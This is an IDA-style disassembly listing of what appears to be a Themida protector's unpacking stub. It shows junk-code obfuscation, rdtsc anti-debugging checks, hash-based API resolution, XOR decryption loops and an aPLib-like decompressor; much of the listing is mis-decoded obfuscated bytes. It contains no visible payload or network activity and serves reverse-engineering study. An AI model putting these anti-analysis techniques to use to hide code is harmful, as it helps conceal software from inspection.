st(2) or al, 48h retf 0B9ECh ; --------------------------------------------------------------------------- db 65h, 28h, 3Eh ; --------------------------------------------------------------------------- dec edx loc_54EE9D: ; CODE XREF: Themida_:0054EE8Dj ; DATA XREF: Themida_:0054CD8Co pusha jle loc_54EEAA or [ebp+6101D91h], edx loc_54EEAA: ; CODE XREF: Themida_:0054EE9Ej mov eax, 0 sub [ebp+6101BE1h], esi mov edx, [esp+28h] pusha mov edx, ecx mov [ebp+6101FADh], ebx popa mov [ebp+6101475h], eax jno loc_54EED0 cld loc_54EED0: ; CODE XREF: Themida_:0054EEC9j mov esi, 3Ch jge loc_54EEE1 xor [ebp+6100B01h], edi loc_54EEE1: ; CODE XREF: Themida_:0054EED5j add esi, [esp+24h] sub [ebp+61015FDh], ebx lodsw add [ebp+610221Dh], eax add eax, [esp+24h] cld push eax push eax push edx ja loc_54EF03 pusha popa loc_54EF03: ; CODE XREF: Themida_:0054EEFBj rdtsc pusha mov eax, 7A19D9Ch push ebx pop ecx popa pop edx pop eax mov [esp], eax jmp loc_54EF23 ; --------------------------------------------------------------------------- dd 0CEE51CC6h, 0E2F02B76h db 0DBh, 60h, 0AAh ; --------------------------------------------------------------------------- loc_54EF23: ; CODE XREF: Themida_:0054EF13j jmp loc_54EF2D ; --------------------------------------------------------------------------- dd 8FFB44FDh ; --------------------------------------------------------------------------- scasb loc_54EF2D: ; CODE XREF: Themida_:loc_54EF23j mov eax, [eax+78h] sub [ebp+6101289h], edi add eax, [esp+28h] mov [ebp+6103055h], ebx mov eax, [eax+18h] jp loc_54EF54 pusha movsx edi, si sub eax, 3E012468h popa loc_54EF54: ; CODE XREF: Themida_:0054EF43j inc eax cld mov [ebp+6103A19h], eax pusha mov dx, 3050h mov si, ax popa pop eax jz loc_54EF72 mov [ebp+6102369h], eax loc_54EF72: ; CODE XREF: Themida_:0054EF66j mov esi, [eax+78h] mov [ebp+6101B35h], ebx add esi, 1Ch xor [ebp+6100E71h], edi add esi, [esp+24h] stc lea edi, [ebp+61020B5h] pusha mov [ebp+6102395h], edi popa lodsd clc add eax, [esp+24h] mov [ebp+6102375h], edi stosd cld lea edi, [ebp+6102F59h] jmp loc_54EFC4 ; --------------------------------------------------------------------------- dd 0DAD63271h, 9D360034h, 1572D9E4h, 5804B534h, 334AA798h ; --------------------------------------------------------------------------- loc_54EFC4: ; CODE XREF: Themida_:0054EFABj lodsd jmp loc_54EFCF ; --------------------------------------------------------------------------- dw 0F458h db 70h, 83h, 0C8h ; --------------------------------------------------------------------------- loc_54EFCF: ; CODE XREF: Themida_:0054EFC5j add eax, [esp+24h] sub [ebp+6100C49h], eax or [ebp+6101BCDh], ebx nop jo loc_54EFFB push eax push edx jmp loc_54EFF5 ; --------------------------------------------------------------------------- db 0A5h, 2 dup(63h) dd 200DBB01h db 85h ; --------------------------------------------------------------------------- loc_54EFF5: ; CODE XREF: Themida_:0054EFE8j rdtsc pusha popa pop edx pop eax loc_54EFFB: ; CODE XREF: Themida_:0054EFE0j push eax jp near ptr loc_54F015+2 pusha call near ptr loc_54F00D+3 sbb eax, 0ABFD2AEh loc_54F00D: ; CODE XREF: Themida_:0054F003p add esi, [ebp-6C47A407h] adc al, 2Ah loc_54F015: ; CODE XREF: Themida_:0054EFFCj push 0ABF59061h mov [ebp+610166Dh], edi pusha mov ax, 4891h jz loc_54F031 jno $+6 loc_54F031: ; CODE XREF: Themida_:0054F025j popa lea edi, [ebp+6100601h] jmp loc_54F048 ; --------------------------------------------------------------------------- db 0FAh, 58h, 0BEh dd 21804C49h, 0A94A45EEh ; --------------------------------------------------------------------------- loc_54F048: ; CODE XREF: Themida_:0054F038j stc lodsd clc add eax, [esp+28h] cld jmp loc_54F05D ; --------------------------------------------------------------------------- db 47h, 92h, 0B7h dd 0F07AB77Eh db 1Bh ; --------------------------------------------------------------------------- loc_54F05D: ; CODE XREF: Themida_:0054F050j stosd sub [ebp+6101F69h], edx pop esi xor [ebp+61006FDh], edi loc_54F06B: ; CODE XREF: Themida_:0054F0F7j dec dword ptr [ebp+6103A19h] cmp dword ptr [ebp+6103A19h], 0 jnz short loc_54F08A mov dword ptr [esp+1Ch], 0 lea esi, [ebp+6103E4Ah] jmp esi ; --------------------------------------------------------------------------- loc_54F08A: ; CODE XREF: Themida_:0054F078j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+61023E5h] test al, al jz short loc_54F0A1 cmp al, [edi] jnz short loc_54F0ED loc_54F0A1: ; CODE XREF: Themida_:0054F09Bj push edi xor al, al loc_54F0A4: ; CODE XREF: Themida_:0054F0A5j scasb jnz short loc_54F0A4 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_54F0B1: ; CODE XREF: Themida_:0054F0DAj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_54F0C0: ; CODE XREF: Themida_:0054F0D3j shr bx, 1 rcr ax, 1 jnb short loc_54F0D1 xor ax, 5041h xor bx, 5449h loc_54F0D1: ; CODE XREF: Themida_:0054F0C6j dec dh jnz short loc_54F0C0 xor ecx, eax xor edx, ebx dec edi jnz short loc_54F0B1 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_54F0FC loc_54F0ED: ; CODE XREF: Themida_:0054F09Fj pop esi add esi, 4 inc dword ptr [ebp+6101475h] jmp loc_54F06B ; --------------------------------------------------------------------------- loc_54F0FC: ; CODE XREF: Themida_:0054F0EBj pop esi jmp loc_54F10C ; --------------------------------------------------------------------------- fistp dword ptr [ebp+7CD353B7h] pop edi stosb db 26h dec esi loc_54F10C: ; CODE XREF: Themida_:0054F0FDj mov [ebp+61008C1h], edi mov eax, [ebp+6101475h] or [ebp+6102F35h], ecx sub [ebp+6101255h], ebx shl eax, 1 mov [ebp+6101295h], esi add eax, [ebp+6100601h] sub [ebp+6101295h], ebx sub esi, esi pusha add [ebp+61005F9h], edx cmc popa xchg eax, esi stc lodsw xor [ebp+6102F61h], ecx jg loc_54F163 jmp loc_54F163 ; --------------------------------------------------------------------------- dd 9AEF649Dh, 0F334AB4Ch ; --------------------------------------------------------------------------- clc pop ds sahf loc_54F163: ; CODE XREF: Themida_:0054F14Dj ; Themida_:0054F153j shl eax, 2 clc add eax, [ebp+61020B5h] jmp loc_54F179 ; --------------------------------------------------------------------------- dw 0ED8Eh dd 0ABD7DA8Bh db 11h ; --------------------------------------------------------------------------- loc_54F179: ; CODE XREF: Themida_:0054F16Dj jz loc_54F18A pusha mov edx, 2F585F37h mov bx, 63A5h popa loc_54F18A: ; CODE XREF: Themida_:loc_54F179j xchg eax, esi sub [ebp+6101931h], edi lodsd sub [ebp+6100AFDh], edx mov ecx, [esp+24h] jmp loc_54F1AC ; --------------------------------------------------------------------------- db 2Ah, 0E8h, 47h dd 0F6649EE1h, 0CDE1F487h ; --------------------------------------------------------------------------- loc_54F1AC: ; CODE XREF: Themida_:0054F19Cj jp loc_54F1BD pusha movzx edx, di sub [ebp+6100239h], edx popa loc_54F1BD: ; CODE XREF: Themida_:loc_54F1ACj add eax, [esp+24h] mov [ebp+6102E89h], ebx mov [esp+1Ch], eax js loc_54F1DF pusha mov [ebp+61006FDh], edx mov ebx, [ebp+6100165h] popa loc_54F1DF: ; CODE XREF: Themida_:0054F1CBj xchg eax, esi sub [ebp+6103155h], edx lodsb mov [ebp+61021E5h], edi xor cl, cl jg loc_54F20B jmp loc_54F20B ; --------------------------------------------------------------------------- dw 9863h dd 0DE89B9C8h, 0AD1DE0BBh, 462F880h db 1Fh, 0CAh, 29h ; --------------------------------------------------------------------------- loc_54F20B: ; CODE XREF: Themida_:0054F1EFj ; Themida_:0054F1F5j mov [ebp+6100119h], eax inc cl cmc loc_54F214: ; CODE XREF: Themida_:0054F262j rcl al, 1 jnb loc_54F2B5 jmp loc_54F22B ; --------------------------------------------------------------------------- db 51h, 34h, 11h dd 0A21E157Ch db 0A2h, 0FEh, 0CAh ; --------------------------------------------------------------------------- loc_54F22B: ; CODE XREF: Themida_:0054F21Cj rcl al, 1 jnb loc_54F2B5 jmp loc_54F23D ; --------------------------------------------------------------------------- dd 0A9C107C7h db 0BAh ; --------------------------------------------------------------------------- loc_54F23D: ; CODE XREF: Themida_:0054F233j rcl al, 1 jb loc_54F2B5 jnb loc_54F251 sub [ebp+6100BCDh], esi loc_54F251: ; CODE XREF: Themida_:0054F245j add [ebp+6100E95h], ebx rcl al, 1 jb loc_54F2B5 clc dec cl jns loc_54F214 jns loc_54F274 sub [ebp+6102A21h], edi loc_54F274: ; CODE XREF: Themida_:0054F268j add esp, 20h cld mov dword ptr [esp-4], 0 mov [ebp+6102D39h], ecx mov eax, 1 mov [ebp+6100A99h], ebx lea ecx, [ebp+61073A3h] jmp loc_54F2A6 ; --------------------------------------------------------------------------- dd 7CB3FFE9h, 0DF1734BFh db 6Dh, 61h ; --------------------------------------------------------------------------- loc_54F2A6: ; CODE XREF: Themida_:0054F297j mov [ebp+6100D55h], eax jmp ecx ; --------------------------------------------------------------------------- add [ebp+61001C1h], esi clc loc_54F2B5: ; CODE XREF: Themida_:0054F216j ; Themida_:0054F22Dj ... mov byte ptr [ebp+61023E5h], 0 mov [ebp+61016ADh], esi popa jmp locret_54F2CF ; --------------------------------------------------------------------------- stosd and bl, [esi-38h] pmulhuw mm0, qword ptr [ebx] locret_54F2CF: ; CODE XREF: Themida_:0054F2C3j retn 8 ; --------------------------------------------------------------------------- pusha add [ebp+610097Dh], eax mov di, 0F46Eh popa push eax pusha mov cx, 0FA6Dh push eax push edx jmp loc_54F2FD ; --------------------------------------------------------------------------- db 0D7h dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5155DEDBh db 0B4h ; --------------------------------------------------------------------------- loc_54F2FD: ; CODE XREF: Themida_:0054F2E6j rdtsc pusha popa pop edx pop eax popa mov [esp], esi pusha add eax, [ebp+610143Dh] jnb loc_54F31A mov [ebp+6100F25h], edi loc_54F31A: ; CODE XREF: Themida_:0054F30Ej popa mov [ebp+610404Ah], esi sub [ebp+6102FDDh], edi mov [ebp+610405Ah], ecx mov [ebp+610092Dh], edi lea esi, [ebp+6103F1Ah] jmp loc_54F344 ; --------------------------------------------------------------------------- dw 161Eh dd 0EFBE86A0h ; --------------------------------------------------------------------------- loc_54F344: ; CODE XREF: Themida_:0054F339j lea eax, dword_5B8EA1[ebp] pusha sub [ebp+6100099h], esi popa call eax pusha mov edi, [ebp+6100D3Dh] mov bx, si popa sub [ebp+6100BD5h], ebx pop esi jmp loc_54F37B ; --------------------------------------------------------------------------- db 24h dd 9A350C25h, 72215CBAh, 6E588A4Dh db 0C8h, 3Fh, 52h ; --------------------------------------------------------------------------- loc_54F37B: ; CODE XREF: Themida_:0054F366j clc retn ; --------------------------------------------------------------------------- xor [ebp+6102119h], ecx pusha popa mov esi, [ebp+610404Ah] jnz loc_54F39C jmp loc_54F39C ; --------------------------------------------------------------------------- dw 63DEh dd 448C5452h ; --------------------------------------------------------------------------- loc_54F39C: ; CODE XREF: Themida_:0054F38Bj ; Themida_:0054F391j mov ecx, [ebp+610405Ah] jmp loc_54F3B4 ; --------------------------------------------------------------------------- sub ch, 0DDh retn 6492h ; --------------------------------------------------------------------------- stosb cmp eax, 0B06FB12Bh pop edi loc_54F3B4: ; CODE XREF: Themida_:0054F3A2j sub eax, eax pusha stc popa mov ebx, ecx stc cmc jmp loc_54F488 ; --------------------------------------------------------------------------- jmp loc_54F3D5 ; --------------------------------------------------------------------------- db 0ADh dd 0E27565C4h, 157FD26Eh, 0A7CFDBDFh ; --------------------------------------------------------------------------- wait loc_54F3D5: ; CODE XREF: Themida_:0054F3C2j ; Themida_:0054F48Aj xor ah, [esi] jo loc_54F3EA jmp loc_54F3EA ; --------------------------------------------------------------------------- db 90h db 0F4h dd 46B6DA88h db 5Dh, 1Ch ; --------------------------------------------------------------------------- loc_54F3EA: ; CODE XREF: Themida_:0054F3D7j ; Themida_:0054F3DDj mov dl, 2 pusha ja loc_54F3F8 sbb dx, 5F56h loc_54F3F8: ; CODE XREF: Themida_:0054F3EDj popa jmp loc_54F457 ; --------------------------------------------------------------------------- mov [ebp+6100CA1h], ebx loc_54F404: ; CODE XREF: Themida_:0054F459j xor al, dl xor [ebp+6101C91h], ebx add eax, 8A751D7Ah clc mov cl, ah jge loc_54F420 mov [ebp+6100BCDh], eax loc_54F420: ; CODE XREF: Themida_:0054F414j ror eax, cl mov [ebp+6101C1Dh], ebx xor eax, 98D10842h jl loc_54F440 pusha sbb cx, 0D272h mov [ebp+61015A1h], edi popa loc_54F440: ; CODE XREF: Themida_:0054F42Dj jmp loc_54F454 ; --------------------------------------------------------------------------- db 0AAh, 13h, 0BFh dd 19733905h, 24EA61Ch, 908DE8B0h ; --------------------------------------------------------------------------- loc_54F454: ; CODE XREF: Themida_:loc_54F440j dec dl cld loc_54F457: ; CODE XREF: Themida_:0054F3F9j or dl, dl jnz loc_54F404 pusha mov ah, 94h mov dh, 0ABh popa dec ebx jnp loc_54F474 pusha sub [ebp+6100AF1h], ebx popa loc_54F474: ; CODE XREF: Themida_:0054F466j inc esi jmp loc_54F488 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax xchg eax, ecx dec edx std imul byte ptr [esi] xchg ch, [edx+edx*8+3EA09E05h] loc_54F488: ; CODE XREF: Themida_:0054F3BDj ; Themida_:0054F475j or ebx, ebx jnz loc_54F3D5 jle locret_54F4AE jb locret_54F4AE jmp locret_54F4AE ; --------------------------------------------------------------------------- inc edx push ecx mov ecx, [esi+45BC39A4h] mov al, ds:8AA2361Fh locret_54F4AE: ; CODE XREF: Themida_:0054F490j ; Themida_:0054F496j ... iret ; --------------------------------------------------------------------------- db 89h dd 102A0195h, 1000006h, 101A759Dh, 89000006h, 1011F9BDh dd 60000006h, 94E08166h, 6130h, 18E19529h ; --------------------------------------------------------------------------- adc [esi], al loc_54F4D6: ; CODE XREF: Themida_:loc_54EE88j lea eax, [ebp+6103A32h] pusha sbb bx, 9EFFh pusha add si, 25C4h popa popa mov [ebp+6101921h], eax stc lea eax, [ebp+6103E73h] jno loc_54F503 mov [ebp+6100479h], ebx loc_54F503: ; CODE XREF: Themida_:0054F4F7j mov [ebp+61006D5h], eax call sub_54F51E insb db 3Eh cmps byte ptr ds:[esi], byte ptr es:[edi] enter 3E7h, 0C0h ; CODE XREF: sub_54F51E+6Cj fldenv byte ptr [esi+31F21421h] inc edi loopne near ptr loc_54F544+3 ; =============== S U B R O U T I N E ======================================= sub_54F51E proc near ; CODE XREF: Themida_:0054F509p push ecx add cl, 30h pop esi pop edx mov edi, ebx add edx, 74B5h mov edi, ecx mov eax, 0 mov si, bx loc_54F536: ; CODE XREF: Themida_:0054F5D9j mov ebx, [edx+eax] mov edi, 89F1AB2h xor ebx, 307DD576h loc_54F544: ; CODE XREF: Themida_:0054F51Cj mov [ebp+6102E69h], ecx xor ebx, 26F7B06Bh xor ebx, 274C0399h jmp loc_54F567 ; --------------------------------------------------------------------------- db 65h dd 0DCAAFD16h, 5F9AC863h db 0F8h, 0ABh, 0B0h ; --------------------------------------------------------------------------- loc_54F567: ; CODE XREF: sub_54F51E+38j mov [edx+eax], ebx or [ebp+610311Dh], ebx mov [ebp+6101281h], edx sub eax, 63CE58E1h movsx edi, cx add eax, 63CE58DDh call near ptr loc_54F593+2 jge short near ptr loc_54F511+3 int 49h ; Texas Instruments PC - VIDEO I/O??? xor esp, ecx pop edx xor ebx, [ebx] loc_54F593: ; CODE XREF: sub_54F51E+67p and eax, 0BD9D8959h sub_54F51E endp ; sp-analysis failed xor [eax], dl push es pop esi cmp eax, 0FFFF8C1Ch jnz loc_54F5D0 call near ptr loc_54F5B1+6 or ah, [ecx+39h] push edi loc_54F5B1: ; CODE XREF: Themida_:0054F5A8p repne cmp byte ptr [edx+6602DB74h], 0BFh int 0FFh ; AT/XT286/PS50+ - destroyed by return from protected mode pop edi jmp loc_54F5E3 ; --------------------------------------------------------------------------- db 1Fh, 60h, 8Eh dd 27AD3AF3h, 87527C98h, 0EF54F3D0h ; --------------------------------------------------------------------------- loc_54F5D0: ; CODE XREF: Themida_:0054F5A2j pusha mov ebx, 5DA2DEFh mov dh, 39h popa jmp loc_54F536 ; --------------------------------------------------------------------------- dw 21E6h ; --------------------------------------------------------------------------- aam 0A7h push es loc_54F5E3: ; CODE XREF: Themida_:0054F5BCj jmp short loc_54F5F9 ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 8500h db 0 ; --------------------------------------------------------------------------- loc_54F5F9: ; CODE XREF: Themida_:loc_54F5E3j lea eax, [ebp+6104245h] mov [ebp+6100129h], eax cmp dword ptr [ebp+6104186h], 0 jz loc_54F73D mov byte ptr [ebp+61023E5h], 56h call near ptr loc_54F621+1 cmp [ebp+1Fh], ebp loc_54F621: ; CODE XREF: Themida_:0054F619p aam 50h mov eax, [esp+4] mov eax, [eax] mov [esp+4], eax pop eax push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax mov [ebp+610417Ah], eax mov byte ptr [ebp+61023E5h], 56h push 9EA13B73h xor dword ptr [esp], 2098321h push dword ptr [ebp+6101499h] lea eax, [ebp+6103A32h] call eax mov [ebp+610417Eh], eax push 4 push 0F54F73A3h add dword ptr [esp], 0AB09C5Dh mov eax, [ebp+610418Ah] add eax, 1F4h shl eax, 2 nop push eax nop push 0 call dword ptr [ebp+610417Eh] mov [ebp+6104182h], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+6100129h] mov eax, ebx call dword ptr [ebp+6100129h] jmp loc_54F73D ; --------------------------------------------------------------------------- loc_54F6B0: ; DATA XREF: Themida_:0054B594o cmp dword ptr [ebp+6104186h], 0 jnz loc_54F6BE retn ; --------------------------------------------------------------------------- loc_54F6BE: ; CODE XREF: Themida_:0054F6B7j push edi mov edi, [ebp+6104182h] stosd add dword ptr [ebp+6104182h], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6104186h], 0 jnz loc_54F6DD retn ; --------------------------------------------------------------------------- loc_54F6DD: ; CODE XREF: Themida_:0054F6D6j pusha sub dword ptr [ebp+6104182h], 4 loc_54F6E5: ; CODE XREF: Themida_:loc_54F738j mov ebx, [ebp+6104182h] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_54F712 push 424FD66Ah xor dword ptr [esp], 424F566Ah push 0 push dword ptr [ebx] call dword ptr [ebp+610417Ah] popa retn ; --------------------------------------------------------------------------- jmp loc_54F738 ; --------------------------------------------------------------------------- loc_54F712: ; CODE XREF: Themida_:0054F6EFj call near ptr loc_54F717+4 loc_54F717: ; CODE XREF: Themida_:loc_54F712p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+610417Ah] sub dword ptr [ebp+6104182h], 4 loc_54F738: ; CODE XREF: Themida_:0054F70Dj jmp loc_54F6E5 ; --------------------------------------------------------------------------- loc_54F73D: ; CODE XREF: Themida_:0054F60Cj ; Themida_:0054F6ABj dec eax jmp loc_54F8F0 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h loc_54F74F: ; CODE XREF: Themida_:loc_54F767j mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_54F75A: ; CODE XREF: Themida_:0054F7E5j ; Themida_:0054F84Dj ... add dl, dl jnz loc_54F767 mov dl, [esi] inc esi adc dl, dl loc_54F767: ; CODE XREF: Themida_:0054F75Cj jnb loc_54F74F add dl, dl jnz loc_54F77A mov dl, [esi] inc esi adc dl, dl loc_54F77A: ; CODE XREF: Themida_:0054F76Fj jnb loc_54F7EA xor eax, eax add dl, dl jnz loc_54F78F mov dl, [esi] inc esi adc dl, dl loc_54F78F: ; CODE XREF: Themida_:0054F784j jnb loc_54F8BF add dl, dl jnz loc_54F7A2 mov dl, [esi] inc esi adc dl, dl loc_54F7A2: ; CODE XREF: Themida_:0054F797j adc eax, eax add dl, dl jnz loc_54F7B1 mov dl, [esi] inc esi adc dl, dl loc_54F7B1: ; CODE XREF: Themida_:0054F7A6j adc eax, eax add dl, dl jnz loc_54F7C0 mov dl, [esi] inc esi adc dl, dl loc_54F7C0: ; CODE XREF: Themida_:0054F7B5j adc eax, eax add dl, dl jnz loc_54F7CF mov dl, [esi] inc esi adc dl, dl loc_54F7CF: ; CODE XREF: Themida_:0054F7C4j adc eax, eax jz loc_54F7DD push edi sub edi, eax mov al, [edi] pop edi loc_54F7DD: ; CODE XREF: Themida_:0054F7D1j mov [edi], al inc edi mov ebx, 2 jmp loc_54F75A ; --------------------------------------------------------------------------- loc_54F7EA: ; CODE XREF: Themida_:loc_54F77Aj mov eax, 1 loc_54F7EF: ; CODE XREF: Themida_:loc_54F80Bj add dl, dl jnz loc_54F7FC mov dl, [esi] inc esi adc dl, dl loc_54F7FC: ; CODE XREF: Themida_:0054F7F1j adc eax, eax add dl, dl jnz loc_54F80B mov dl, [esi] inc esi adc dl, dl loc_54F80B: ; CODE XREF: Themida_:0054F800j jb loc_54F7EF sub eax, ebx mov ebx, 1 jnz loc_54F852 mov ecx, 1 loc_54F823: ; CODE XREF: Themida_:loc_54F83Fj add dl, dl jnz loc_54F830 mov dl, [esi] inc esi adc dl, dl loc_54F830: ; CODE XREF: Themida_:0054F825j adc ecx, ecx add dl, dl jnz loc_54F83F mov dl, [esi] inc esi adc dl, dl loc_54F83F: ; CODE XREF: Themida_:0054F834j jb loc_54F823 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_54F75A ; --------------------------------------------------------------------------- loc_54F852: ; CODE XREF: Themida_:0054F818j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_54F860: ; CODE XREF: Themida_:loc_54F87Cj add dl, dl jnz loc_54F86D mov dl, [esi] inc esi adc dl, dl loc_54F86D: ; CODE XREF: Themida_:0054F862j adc ecx, ecx add dl, dl jnz loc_54F87C mov dl, [esi] inc esi adc dl, dl loc_54F87C: ; CODE XREF: Themida_:0054F871j jb loc_54F860 cmp eax, 7D00h jnb loc_54F8AF cmp eax, 500h jb loc_54F8A6 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54F75A ; --------------------------------------------------------------------------- loc_54F8A6: ; CODE XREF: Themida_:0054F892j cmp eax, 7Fh ja loc_54F8B2 loc_54F8AF: ; CODE XREF: Themida_:0054F887j add ecx, 2 loc_54F8B2: ; CODE XREF: Themida_:0054F8A9j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_54F75A ; --------------------------------------------------------------------------- loc_54F8BF: ; CODE XREF: Themida_:loc_54F78Fj mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_54F8E4 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_54F75A ; --------------------------------------------------------------------------- loc_54F8E4: ; CODE XREF: Themida_:0054F8C7j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_54F8F0: ; CODE XREF: Themida_:0054F73Ej mov edx, 929h jmp loc_5502CD ; --------------------------------------------------------------------------- dw 7841h dd 0D102AABCh, 3ED10BACh, 6463365Fh, 754261F1h, 17C2AAEDh dd 63606957h, 0FE5533A3h, 5E1C8DA6h, 9309A7BCh, 29C303A0h dd 7672650Dh, 3E4D24F6h, 1DB2C982h, 627D7D5Dh, 0FE5561AFh dd 5D138BA4h, 9313A7BCh, 36D91EBFh, 686E7B0Dh, 305933EDh dd 5186AAE9h, 737D794Ah, 0B05433E2h, 4B078BB1h, 0DC15BEBCh dd 36D71EBEh, 3, 62h dup(0) dd 78410000h, 0DD08A3BCh, 29D918B0h, 6A79660Dh, 7D4133E5h dd 283ACA8h, 626B7E18h, 0FF4661EDh, 19168ABDh, 0DD09BBEEh dd 7BD102B0h, 7C2B7844h, 305234EDh, 591BDFBh, 0D20715Dh dd 0F54C118Eh, 151797A9h, 0DF09BBBCh, 7BD20DB6h, 632B6244h dd 304D2EF0h, 1E8FA1E5h, 662E654Ah, 0E20025EDh, 580697ADh dd 0CA47BAEEh, 7BC419B6h, 6264645Dh, 3E4D20F0h, 48h dup(0) dd 78410000h, 0D215ADBCh, 29D307BAh, 712B650Ah, 304C2EEDh dd 5191A5E0h, 696B795Ah, 0E54F27A3h, 4B5280A6h, 0DA09A0E9h dd 32960BB7h, 6A723643h, 630033F7h, 1496B7F1h, 0A043255h dd 0F1452DD3h, 195E81BBh, 0DC0BA0E9h, 329608B8h, 776D3659h dd 7D002CEDh, 38DA9EDh, 696F3C41h, 0F55261E7h, 4B1390BBh dd 0DC1EEEE8h, 2B961EACh, 776C795Fh, 0E2CE3h, 61h dup(0) dd 7F410000h, 9302A2F5h, 29C403BAh, 607F6658h, 300E60E6h dd 28BACDCh, 687C6C18h, 0FD4133E4h, 4A138CE8h, 0D602ACBCh dd 3ADB4CB7h, 707B7F43h, 755420EEh, 1F83E4ECh, 66633C5Ch dd 9A4523FAh, 1E068DC5h, 0DD0EEEEFh, 2FD509BFh, 672B7248h dd 304161FBh, 490ADDEh, 75613C4Bh, 0F15222A3h, 5D178FABh dd 0DB33EEB2h, 3D961FB0h, 256E7A44h, 374E2EF5h, 1E95E4FCh dd 662E774Ah, 0FF4D38EDh, 5C81BAh, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 db 0 ; --------------------------------------------------------------------------- loc_5502CD: ; CODE XREF: Themida_:0054F8F5j jmp loc_5531F1 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5502DD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5502DD proc near ; CODE XREF: Themida_:005502D5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5502DD endp ; --------------------------------------------------------------------------- jno short near ptr loc_5502FD+1 xchg eax, edi cld push 0 push eax call sub_5502FC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5502FC proc near ; CODE XREF: Themida_:005502F4p arg_4 = dword ptr 8 pop eax loc_5502FD: ; CODE XREF: Themida_:005502EDj mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5502FC endp ; --------------------------------------------------------------------------- lodsd fld qword ptr [edx] pop ebp pusha fdiv qword ptr [ecx-42F6D586h] cmp eax, 8B061006h popf push ebp adc al, 10h push es mov eax, eax push 0 push ecx call sub_55032E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55032E proc near ; CODE XREF: Themida_:00550326p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_55032E endp ; --------------------------------------------------------------------------- dw 41E0h dd 0AA746B83h, 4CC72FEDh, 83ACF780h, 10158DBDh, 9750006h dd 95BD83h, 74000610h, 8B535013h, 1B8C0h, 9D8D0000h, 612B6B7h dd 585BD3FFh, 95BD83h, 74000610h, 0B8535011h, 1, 0B5689D8Dh dd 0D3FF0612h, 6060585Bh, 2A359D01h, 66610610h, 8729C681h dd 0E9605661h, 0Ah, 0A3FCD63Ch, 388A2DC1h, 61F57AE3h, 0F5C08B5Ah dd 2D65BD83h, 0F000610h, 18B84h, 0BBCB600h, 102ECD95h dd 65BD8306h, 6102Fh, 176840Fh, 6E90000h, 7A000000h, 1A4E4E3Ah dd 0D68060B6h, 65858BE2h, 0E906102Fh, 8, 7420169Eh, 51086A49h dd 3E805h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8A5018E8h, 240489F7h, 0A0A8BB66h dd 4E49858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8589EBC3h, 61015A1h, 0F525050h dd 158Ch, 0FE800h, 4F9E0000h, 5CBBAAF2h, 0EDF1BED0h, 71B5EB44h dd 310F5AE8h, 61605250h, 0BA66310Fh, 585AE4FEh, 489585Ah dd 8BD2B724h, 1000E59Dh, 27858D06h, 5706104Eh, 9E9h, 52A6F800h dd 5D62D3B9h, 905AF900h, 0CDA6EEBAh, 24B75059h, 858D8990h dd 0FF061016h, 10025195h, 0AE906h, 2DDB0000h, 0C6E4244Ch dd 7DD0B112h, 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0B6FDC356h, 89BF3487h dd 100D8D95h, 0EE806h, 717D0000h, 3DD97920h, 38B3FB58h dd 60328312h, 0BDC38166h, 858D5BCEh, 6104E27h, 73B75090h dd 3830F90h, 80000000h, 26A0EE7h, 233D9D89h, 95FF0610h dd 6AED14h, 6161FC60h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0CC35343h, 1252496Ch, 10B21CA5h, 4E5A85C7h dd 10610h, 95230000h, 6102D39h, 24348950h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 99C35242h, 20A99503h dd 12E90610h, 4000000h, 0E702CF90h, 231298BDh, 0B2ED3F49h dd 0BBECAC68h, 0BB5898Eh, 306104Eh, 1005F99Dh, 9BD8306h dd 1061022h, 31850Fh, 0EB810000h, 6800AF50h, 0F05F883h dd 2285h, 859D8900h, 0B8061009h, 0 ; --------------------------------------------------------------------------- jmp loc_5505DF ; --------------------------------------------------------------------------- db 29h, 1Dh, 0FCh dd 3859ED0h, 7FA6BF5Eh, 6ED57299h ; --------------------------------------------------------------------------- retn ; 